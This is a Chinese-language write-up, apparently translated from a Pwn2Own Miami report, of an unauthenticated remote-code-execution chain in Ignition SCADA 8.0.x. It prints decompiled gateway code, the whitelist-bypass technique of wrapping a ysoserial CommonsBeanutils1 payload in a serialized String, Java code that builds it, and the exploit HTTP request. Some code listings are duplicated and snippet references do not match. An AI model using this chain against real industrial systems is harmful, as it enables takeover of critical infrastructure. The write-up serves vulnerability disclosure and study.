浅析 Java 漏洞链以及相关代码

*本文将聊聊在首届Pwn2Own Miami竞赛中关于Java漏洞链以及补丁程序。
*
这个漏洞存在于8.0.0版(含8.0.7)以及更高版本的Inductive Automation Ignition SCADA产品中。
Ignition的默认配置可以被未经身份验证的攻击者利用,成功的利用还可以在Windows上的SYSTEM或Linux上的root中执行远程代码。
该漏洞利用链上三个漏洞实现代码的远程执行:
- 未经授权访问敏感资源。
- 不安全的Java反序列化。
- 使用不安全的Java库。
在本文中的代码段是通过反编译8.0.7版的JAR文件获得的。
漏洞详情
漏洞详情
在深入研究漏洞之前,让我们介绍一下有关Ignition和/system/gateway
端点的背景信息。Ignition侦听大量的TCP和UDP端口,因为除了其主要功能外,它还必须处理多种SCADA协议。
主要端口是TCP 8088和TCP / TLS 8043,它们用于通过HTTP(S)控制管理服务器并处理各种Ignition组件之间的通信。
有多个API端点正在侦听该端口,但我们关注的是在/system/gateway
。该API端点允许用户执行远程功能调用,未经身份验证的用户只能调用少数几个,Login.designer()
功能是其中之一。它使用包含序列化Java对象的XML与客户端进行通信,它的代码位于com.inductiveautomation.ignition.gateway.servlets.Gateway
类中。
通常,使用序列化的Java对象执行客户端-服务器通信可以导致直接执行代码,但是在这种情况下,它并不是那么简单。在深入探讨之前,让我们先看一下Login.designer()
:
<!--代码1 -->
<!--
POST /system/gateway HTTP/1.1
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 845
-->
<?xml version="1.0" encoding="UTF-8"?>
<requestwrapper>
<version>964325727</version>
<scope>2</scope>
<message>
<messagetype>199</messagetype>
<messagebody>
<arg name="funcId">
<![CDATA[Login]]>
</arg>
<arg name="subFunction">
<![CDATA[designer]]>
</arg>
<arg name="arg" index="0">
<![CDATA[H4sIAAAAAAAAAFvzloG1hMG1Wqm0OLUoLzE3VTc1L1nJSinFMMnQyDApMdnEyCzJyDhVSUepILG4
uDy/KAWXiloAvpMDvEwAAAA=]]>
</arg>
<arg name="arg" index="1">
<![CDATA[H4sIAAAAAAAAAFvzloG1uIhBMCuxLFEvJzEvXc8zryQ1PbVI6NGCJd8b2y2YGBg9GVjLEnNKUyuKGAQQ6vxKc5NSi9rWTJXlnvKgm4mBoaKgItLQAACH6ksSUQAAAA==]]>
</arg>
<arg name="arg" index="2">
<![CDATA[H4sIAAAAAAAAAFvzloG1hIHXtbQovyBV3yc/LyU/DwDHsV9XFAAAAA==]]>
</arg>
<arg name="arg" index="3">
<![CDATA[H4sIAAAAAAAAAFvzloG1hIHfxTXYO8Q/QNc/MDDE1MkYAOTFO60WAAAA]]>
</arg>
</messagebody>
</message>
<locale>
<l>en</l>
<c>GB</c>
<v></v>
</locale>
</requestwrapper>
response部分:
<!--代码2-->
<--
HTTP/1.1 200 OK
Date: Sun, 24 Nov 2019 00:33:56 GMT
Content-Type: text/xml
Server: Jetty(9.4.8.v20180619)
Content-Length: 1254
-->
<?xml version="1.0" encoding="UTF-8"?>
<ResponseWrapper>
<Response>
<SerializedResponse>
H4sIAAAAAAAAAKVUz2sTQRid/NgktbUmFlp66EH00ktyEyFCTSvFaFqFqrT04mR3spkwu7POzKbb
IIVeitCDpSpSRVrQi1D04F9QPAiiQgv24EUPXoVevfnNbpK2eFFcyGb5vjffj/fe7vZPZEiBJkzu
5Klr+aaiTYJ9xR2sKHfz1HZp+AAAB/58SUR+HEtqlnxVJ66iJlbEugXh4Oa9D1Ovx4biKFZBPYo6
RCrseAplKw3cxAVfUVa4DOhiIND5f2+oe+wMLa0Mz8VycWRUUK/JXYVNVXZr/HiXCpWqWEFxaik0
GMUpL8wQQTGjLVxlBLK9nuA1ysg0dohCpyMYw65dmFGCujZADMEZbNGpEdae4IwRU48IgAFp1onl
M1KyGr5UDhAi76IllIAVx/52RVijRu1oyRuCe0SoxRkYKbpiIZ+pJma+HuXUkVGmsFcMPJAvp2N5
HctfwbIOcSP9defd4J3dBIpPohOMY2sSmOKiDMrUBZF1zqzAG7sUtuhbyMA9C780FLv4P3OTN7tb
Jb+QjqNkGRl1k1sEaDQZbrUUyh3heIJhKYHBPovUsM/Ubb3fcRmuVxtANGCSLkikaTUCz1h/9qIp
UDbcWMPykVpbBy8vtIpvx+MIBR6Yzqhiy9Ykhnr07dfWn+iHnEKpElvAi0BlpiNeNxZh07/8YoiF
Mj01KqRyQ4u0S6XGp3c6acPlSqvSTm3uPZxtd4mDFVBGD+hjm3hR/mD0/n7naEY7OyqcMrEgCkeY
V/17Z7oYIKnTPJDtt8bm3GbkUITQjvmy4/hKO1t7/1zH6sSa5MJpOwmBk+ZRhjAS+lShgfk/2Q48
X3QSEb/txNrn2c2sHGUhwboazNN/iKpweGNWf6x9fHD2G/S5iozQscExqaZ9p0rEyvbjkd5H31e7
lbTLFUq3nQB1Bw79XBICL+qdguW9kY33+HkCxcooKWG38HBsIRkdP1myHOoCUGDweaApHO2OGJbS
3556Yzl2bU4NJ3RvbfuY+/TLxqfgN5dVns8IBQAA
</SerializedResponse>
<errorNo>0</errorNo>
</Response>
<SetCookie>D07B61A39DAE828E35134292A70777A4</SetCookie>
</ResponseWrapper>
请求和响应包含序列化的Java对象,这些对象传递给可以远程调用的函数。上面的示例显示了对带有四个参数designer()
的com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login
类的函数的调用。
我们到达之前的调用堆栈Login.designer()
如下:
com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer()
该Gateway.doPost()
小服务程序执行一些版本和完整性检查然后将请求发送到AbstractGatewayFunction.invoke()
,其分析和验证它调用之前Login.designer()
,如下图所示:
// 代码3
public final void invoke(GatewayContext context, PrintWriter out, ClientReqSession session, String projectName, Message msg) {
String funcName = msg.getArg("subFunction");
AbstractGatewayFunction.SubFunction function = null;
if (TypeUtilities.isNullOrEmpty(funcName)) {
function = this.defaultFunction;
} else {
function = (AbstractGatewayFunction.SubFunction)this.functions.get(funcName);
}
if (function == null) {
Gateway.printError(out, 500, "Unable to locate function '" + this.getFunctionName(funcName) + "'", (Throwable)null);
} else if (function.reflectionErrorMessage != null) {
Gateway.printError(out, 500, "Error loading function '" + this.getFunctionName(funcName) + "'", (Throwable)null);
} else {
Set<Class<?>> classWhitelist = null;
int i;
Class argType;
if (!this.isSessionRequired()) {
classWhitelist = Sets.newHashSet(SaferObjectInputStream.DEFAULT_WHITELIST);
Class[] var9 = function.params;
int var10 = var9.length;
for(i = 0; i < var10; ++i) {
argType = var9[i];
classWhitelist.add(argType);
}
if (function.retType != null) {
classWhitelist.add(function.retType);
}
}
List<String> argList = msg.getIndexedArg("arg");
Object[] args;
if (argList != null && argList.size() != 0) {
args = new Object[argList.size()];
for(i = 0; i < argList.size(); ++i) {
if (argList.get(i) == null) {
args[i] = null;
} else {
try {
args[i] = Base64.decodeToObjectFragile((String)argList.get(i), classWhitelist);
} catch (ClassNotFoundException | IOException var15) {
ClassNotFoundException cnfe = null;
if (var15.getCause() instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15.getCause();
} else if (var15 instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15;
}
if (cnfe != null) {
Gateway.printError(out, 500, this.getFunctionName(funcName) + ": Argument class not valid.", cnfe);
} else {
Gateway.printError(out, 500, "Unable to read argument", var15);
}
return;
}
}
}
} else {
args = new Object[0];
}
if (args.length != function.params.length) {
String var10002 = this.getFunctionName(funcName);
Gateway.printError(out, 202, "Function '" + var10002 + "' requires " + function.params.length + " arguments, got " + args.length, (Throwable)null);
} else {
for(i = 0; i < args.length; ++i) {
argType = function.params[i];
if (args[i] != null) {
try {
args[i] = TypeUtilities.coerce(args[i], argType);
} catch (ClassCastException var14) {
Gateway.printError(out, 202, "Function '" + this.getFunctionName(funcName) + "' argument " + (i + 1) + " could not be coerced to a " + argType.getSimpleName(), var14);
return;
}
}
}
try {
Object[] fullArgs = new Object[args.length + 3];
fullArgs[0] = context;
fullArgs[1] = session;
fullArgs[2] = projectName;
System.arraycopy(args, 0, fullArgs, 3, args.length);
if (function.isAsync) {
String uid = context.getProgressManager().runAsyncTask(session.getId(), new MethodInvokeRunnable(this, function.method, fullArgs));
Gateway.printAsyncCallResponse(out, uid);
return;
}
Object obj = function.method.invoke(this, fullArgs);
if (obj instanceof Dataset) {
Gateway.datasetToXML(out, (Dataset)obj);
out.println("<errorNo>0</errorNo></Response>");
} else {
Serializable retVal = (Serializable)obj;
Gateway.printSerializedResponse(out, retVal);
}
} catch (Throwable var16) {
Throwable ex = var16;
Throwable cause = var16.getCause();
if (var16 instanceof InvocationTargetException && cause != null) {
ex = cause;
}
int errNo = 500;
if (ex instanceof GatewayFunctionException) {
errNo = ((GatewayFunctionException)ex).getErrorCode();
}
LoggerFactory.getLogger("gateway.clientrpc.functions").debug("Function invocation exception.", ex);
Gateway.printError(out, errNo, ex.getMessage() == null ? "Error executing gateway function." : ex.getMessage(), ex);
}
}
}
}
此函数执行以下操作:
1-解析收到的消息。
2-标识要调用的函数。
3-检查函数参数以确定是否可以安全地反序列化。
4-确保参数数量与目标函数的预期数量相对应。
5-调用带有反序列化参数的函数。
6-将响应发送回客户端。
在反序列化之前,请检查参数以确保它们包含“安全”对象。这是通过decodeToObjectFragile()
从调用来完成的com.inductiveautomation.ignition.common.Base64
。该函数有两个参数:带有Base64编码对象的String和可以反序列化的允许的类列表。
public static Object decodeToObjectFragile(String encodedObject, Set<Class<?>> classWhitelist) throws ClassNotFoundException, IOException {
byte[] objBytes = decode(encodedObject, 2);
ByteArrayInputStream bais = null;
ObjectInputStream ois = null;
Object obj = null;
try {
bais = new ByteArrayInputStream(objBytes);
if (classWhitelist != null) {
ois = new SaferObjectInputStream(bais, classWhitelist);
} else {
ois = new ObjectInputStream(bais);
}
obj = ((ObjectInputStream)ois).readObject();
} finally {
try {
bais.close();
} catch (Exception var15) {
}
try {
((ObjectInputStream)ois).close();
} catch (Exception var14) {
}
}
return obj;
}
如上所示,如果decodeToObjectFragile()
接收null而不是允许的类列表,它将使用“常规” ObjectInputStream
来反序列化对象,并带来所有的问题和不安全性。但是,如果指定了允许列表,则decodeToObjectFragile
使用SaferObjectInputStream
该类反序列化对象。
SaferObjectInputStream
类是一个围绕ObjectInputStream
的包装器,它检查每个被反序列化的对象的类。如果该类不是允许列表的一部分,则它会拒绝所有输入并在发生任何有害影响之前终止处理。看起来是这样的:
//代码4
public class SaferObjectInputStream extends ObjectInputStream {
public static final Set<Class<?>> DEFAULT_WHITELIST = ImmutableSet.of(String.class, Byte.class, Short.class, Integer.class, Long.class, Number.class, new Class[]{Float.class, Double.class, Boolean.class, Date.class, Color.class, ArrayList.class, HashMap.class, Enum.class});
private final Set<String> whitelist;
public SaferObjectInputStream(InputStream in) throws IOException {
this(in, DEFAULT_WHITELIST);
}
public SaferObjectInputStream(InputStream in, Set<Class<?>> whitelist) throws IOException {
super(in);
this.whitelist = new HashSet();
Iterator var3 = whitelist.iterator();
while(var3.hasNext()) {
Class<?> c = (Class)var3.next();
this.whitelist.add(c.getName());
}
}
protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {
ObjectStreamClass ret = super.readClassDescriptor();
if (!this.whitelist.contains(ret.getName())) {
throw new ClassNotFoundException(String.format("Unexpected class %s encountered on input stream.", ret.getName()));
} else {
return ret;
}
}
}
从上面的代码段可以看出,默认的允许列表(DEFAULT_WHITELIST
)非常严格。它仅允许反序列化以下对象类型:
- 字符串
- 字节
- 短
- 整数
- 长整数
- 数字
- 浮点数
- 双精度
- 布尔值
- 日期
- 颜色
- ArrayList
- HashMap
- 枚举
由于这些都是非常简单的类型,因此这里描述的机制是阻止大多数Java反序列化攻击的有效方法。现在,让我们开始Pwn2Own使用的漏洞利用链。
漏洞1:未经授权访问敏感资源
该链中的第一个漏洞是信息泄漏,但未在我们的利用中使用。未经身份验证的攻击者可以调用“项目差异”功能来获取有关项目的关键信息。在我们的案例中,我们将其用作攻击其他功能的跳板。
本com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload
类包含许多是通过未经身份验证的远程攻击者可访问操作。其中之一是getDiffs()
,如下所示:
//代码5
@GatewayFunction
public String getDiffs(GatewayContext context, HttpSession session, String sessionProject, String projectSnapshotsBase64) throws GatewayFunctionException {
try {
List<ProjectSnapshot> snapshots = (List<ProjectSnapshot>)Base64.decodeToObjectFragile(projectSnapshotsBase64);
RuntimeProject p = ((RuntimeProject)context.getProjectManager().getProject(sessionProject).orElseThrow(() -> new ProjectNotFoundException(sessionProject))).validateOrThrow();
List<ProjectDiff.AbsoluteDiff> diffs = context.getProjectManager().pull(snapshots);
return (diffs == null) ? null : Base64.encodeObject(Lists.newArrayList(diffs));
} catch (Exception e) {
throw new GatewayFunctionException(500, "Unable to load project diff.", e);
}
}
如上所示,此函数将提供的数据与服务器中的项目数据进行比较,并返回差异。如果攻击者提供了有效的项目名称,则可能会诱骗服务器移交所有项目数据。
同样,此功能未在漏洞利用程序中使用。而是将此功能用作进一步攻击系统的跳板,下面将对此进行进一步说明。
漏洞2:不安全的Java反序列化
从代码片段6中可以看出,ProjectDownload.getDiffs()它使用Base64.decodeToObjectFragile()功能来解码项目数据。片段4中已经解释了此函数。如上所述,如果该函数的第二个参数中未提供类允许列表,则它将使用标准的不安全ObjectInputStream类来解码给定对象。这导致了一个经典的Java反序列化漏洞,当与最终漏洞链接时,最终会导致远程执行代码。
漏洞3:使用不安全的Java库
该链中的最后一个链接是将Java类与易受攻击的Java小工具对象一起滥用,这些对象可用于实现远程代码执行。对我们来说幸运的是,点火就是这样。它使用了非常老的Apache Commons Beanutils版本1.9.2,该版本来自2013。
在著名的ysererial Java反序列化开发工具(称为CommonsBeanutils1)中,此库有一个有效负载。
开发
总而言之,要实现远程代码执行,我们需要执行以下操作:
1-创建一个ysoserial CommonsBeanutils1有效负载。
2-Base64编码有效负载。
3-将有效负载封装在Java String对象中。
4-使用标准Java序列化功能序列化String对象。
5-Base64编码序列化的String对象。
6-发送请求以/system/gateway调用getDiffs()恶意参数。
我们能够绕过序列化白名单并执行我们的代码!但是如何?让我们深入研究。
我们的有效载荷将具有以下格式:
base64(String(base64(YSOSERIAL_PAYLOAD))
片段3中显示的代码将对其执行Base64解码,这将导致:
String(base64(YSOSERIAL_PAYLOAD))
这是根据上一节中显示的白名单进行检查的,因为它是一String类,所以可以反序列化。然后我们进入ProjectDownload.getDiffs()。它使用我们的String参数并Base64.decodeToObjectFragile()在不指定白名单的情况下对其进行调用。
如代码片段4所示,这将使Base64解码String,然后ObjectInputStream.readObject()在我们的恶意对象(YSOSERIAL_PAYLOAD)上调用,从而导致代码执行!
有效载荷生成
要创建有效负载,我们首先调用ysoserial,如下所示:
// 代码6
public static void main(String[] args) {
try {
String payload = "<YSOSERIAL_BASE64_PAYLOAD>";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray());
FileOutputStream fos = new FileOutputStream("/tmp/output");
fos.write(encodedBytes);
fos.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
然后,可以使用以下Java代码将有效负载封装在String中并将其序列化到磁盘:
//代码7
public static void main(String[] args) {
try {
String payload = "<YSOSERIAL_BASE64_PAYLOAD>";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray());
FileOutputStream fos = new FileOutputStream("/tmp/output");
fos.write(encodedBytes);
fos.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
在此代码中,应包含代码片段 7的输出。
最后,我们将以下请求发送到目标:
<!--代码8-->
<!--
POST /system/gateway HTTP/1.1
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 1337
-->
<?xml version="1.0" encoding="UTF-8"?>
<requestwrapper>
<version>1184437744</version>
<scope>2</scope>
<message>
<messagetype>199</messagetype>
<messagebody>
<arg name="funcId">
<![CDATA[ProjectDownload]]>
</arg>
<arg name="subFunction">
<![CDATA[getDiff]]>
</arg>
<arg name="arg" index="0">
<![CDATA[<PAYLOAD>]]>
</arg>
</messagebody>
</message>
<locale>
<l>en</l>
<c>GB</c>
<v></v>
</locale>
</requestwrapper>
该会包含运行的输出片段8。目标将响应:
<!--代码9-->
<!--
HTTP/1.1 200 OK
Date: Sat, 11 Jan 2020 10:17:55 GMT
Content-Type: text/xml
Server: Jetty(9.4.20.v20190813)
Content-Length: 7760
-->
<?xml version="1.0" encoding="UTF-8"?>
<ResponseWrapper>
<Response>
<errorNo>500</errorNo>
<errorMsg>Unable to load project diff.</errorMsg>
<StackTrace>
<ExceptionMsg>Unable to load project diff.</ExceptionMsg>
<ExceptionString>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.GatewayFunctionException: Unable to load project diff.</ExceptionString>
<ExceptionCls>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.GatewayFunctionException</ExceptionCls>
<ExceptionOTS>false</ExceptionOTS>
<StackTraceElem>
<decl>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload</decl>
<meth>getDiff</meth>
<file>ProjectDownload.java</file>
<line>52</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.NativeMethodAccessorImpl</decl>
<meth>invoke0</meth>
<file>null</file>
<line>-2</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.NativeMethodAccessorImpl</decl>
<meth>invoke</meth>
<file>null</file>
<line>-1</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.DelegatingMethodAccessorImpl</decl>
<meth>invoke</meth>
<file>null</file>
<line>-1</line>
</StackTraceElem>
<!-- (...) -->
响应包含一个堆栈跟踪,指示出了问题,但是有效负载已作为SYSTEM(或Linux的根)执行。
使用片段 7中提供的有效负载后,文件中将显示C:\flashback.txt文本nt authority\system。这表明我们已经实现了未经身份验证的远程代码执行。
本作品采用《CC 协议》,转载必须注明作者和本文链接